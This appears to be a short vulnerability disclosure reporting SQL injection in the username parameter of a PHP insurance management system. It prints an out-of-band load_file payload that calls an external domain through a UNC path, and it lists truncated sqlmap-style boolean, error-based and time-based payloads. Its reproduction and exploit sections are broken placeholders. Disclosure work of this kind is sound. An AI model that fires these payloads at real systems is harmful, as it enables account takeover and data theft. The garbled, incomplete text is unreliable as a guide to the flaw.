

The username parameter appears to be vulnerable to SQL injection attacks. The payload '+ (select load_file('\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\xek'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL
[+] Payloads:

Parameter: username (POST)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
 Payload: username=GvWNfNIz'+(select load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf1

 Type: error-based
 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
 Payload: username=GvWNfNIz'+(select load_file('\\\9hrdmiwt98pph06kzx56a8hv7mdf1

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: username=GvWNfNIz'+(select load_file('\\\9hrdmiwt98pph06kzx56a8hv7mdf1)





Reproduce:

href

Proof and Exploit:

href